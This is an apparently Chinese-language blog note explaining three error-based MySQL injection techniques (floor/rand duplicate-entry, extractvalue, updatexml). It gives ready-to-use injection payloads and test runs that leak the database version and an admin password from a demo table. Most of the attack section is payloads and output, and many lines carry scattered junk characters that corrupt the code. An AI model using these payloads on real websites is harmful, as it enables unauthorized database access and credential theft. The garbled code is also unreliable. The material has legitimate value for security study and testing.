关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​

+ k$ t9 M7 a# V" \mysql> show tables;
! ^: S1 ]! d- e% y: ]+----------------+
% ^( }4 _, U4 F! ~| Tables_in_test |
+----------------+
| admin          |
| article        |
+----------------+
  k1 K# D- e7 |2 o
0 d1 k9 a$ G# b
1 K5 f& t/ c* u% A. [, t: H5 v# t9 Q4 ?
3 @8 |) N; k# t. H1 K/ Y4 smysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
  t4 G" A6 l$ _/ R7 O! ?2 G9 J| Field | Type             | Null | Key | Default | Extra          |
4 t; j% y% U9 p: ^% f+-------+------------------+------+-----+---------+----------------+
& u* X. Z) g" j+ W) m/ X9 || id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
5 S  d0 Q9 `8 L9 i: \+-------+------------------+------+-----+---------+----------------+

- D7 x9 S; }2 H) V: p* v6 c7 @

mysql> describe article;
: T, U' F# h+ K* T" ?1 o+---------+------------------+------+-----+---------+----------------+
, N/ [2 S" Y! f- K| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
4 u' ~8 }( i' ]% _5 V* q! H( t/ n| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
) Z! [; ^8 _, }! O8 ^1、通过floor报错
可以通过如下一些利用代码


and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
' y2 a. D% X0 q. D/ wfrom information_schema.tables group by x)a);
4 e- t: X2 \) L/ a0 T' c* I/ j
4 Z3 }& D$ i. c- j
. J2 j; d5 N+ b, s2 C! iand (select count(*) from (select 1 union select null union select !1)x
9 P1 ?4 k; V) V) Ogroup by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

5 W* E- o  t: ^( Q, [8 X1 ?mysql> select * from article where id = 1;
* U, L9 ]( u4 z) {' c+----+-------+---------+
| id | title | content |
+ F. m) i$ V6 v  N- K+----+-------+---------+
( R) L( G( c. x  J: f: T|  1 | test  | do it   |
+----+-------+---------+
: I$ a3 a) X6 E3 I+ L7 {假如id输入存在注入的话，可以通过如下语句进行报错。
& ^- D3 x$ s& {6 Y! ]: L4 ?+ Z! [
; M  F7 h! ~! q3 {
9 l- P+ S! u0 Z1 dmysql> select * from article where id = 1 and (select 1 from
5 D' h+ Y. b& I(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
1 ]$ m* _- @& H( \/ F, X& j# S例如我们需要查询管理员用户名和密码：
* Q" Q$ @$ }7 b9 b( OMethod1:


3 M: h& k  m' i5 t; d* |, qmysql> select * from article where id = 1 and (select 1 from
% X" R: w0 O2 q' g(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
5 }2 X4 R! q! w% d3 m! EERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
) @8 y8 o: e8 |

+ ^$ \( |+ f4 I* zmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
0 h+ X$ h4 B9 u8 t7 u, j# t5 ?floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
: g6 _% l6 g+ _) [8 h5 b% N2、ExtractValue
测试语句如下
; T8 i3 D7 w, [1 X

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
, y, D; z' t( b0 S9 f4 E实际测试过程
( e: V2 e) [+ H0 P% t4 D

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
, N1 z: z- j+ `ERROR 1105 (HY000): XPATH syntax error: '\admin888'
# _8 X# Y2 z/ Y, P4 M* k" {8 V3、UpdateXml
; }8 d1 l$ R/ q& U. I9 _测试语句
  F  @' h4 Q# T- J, P

* s- |5 b2 ]+ e, X8 Z/ H, wand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
- K, q8 k; L5 H) P/ M  ]* t4 O
2 ~( I! a, z2 B6 p# d
, ^" Y! M% N4 n3 z3 [( _& zmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
/ x* Z5 W0 i" y5 VERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
$ v8 g! F; Z' s8 ~4 qAll, thanks foreign guys.
+ y' Q' b/ Q' E4 B$ M! C
​
2 C. C8 ~+ b( t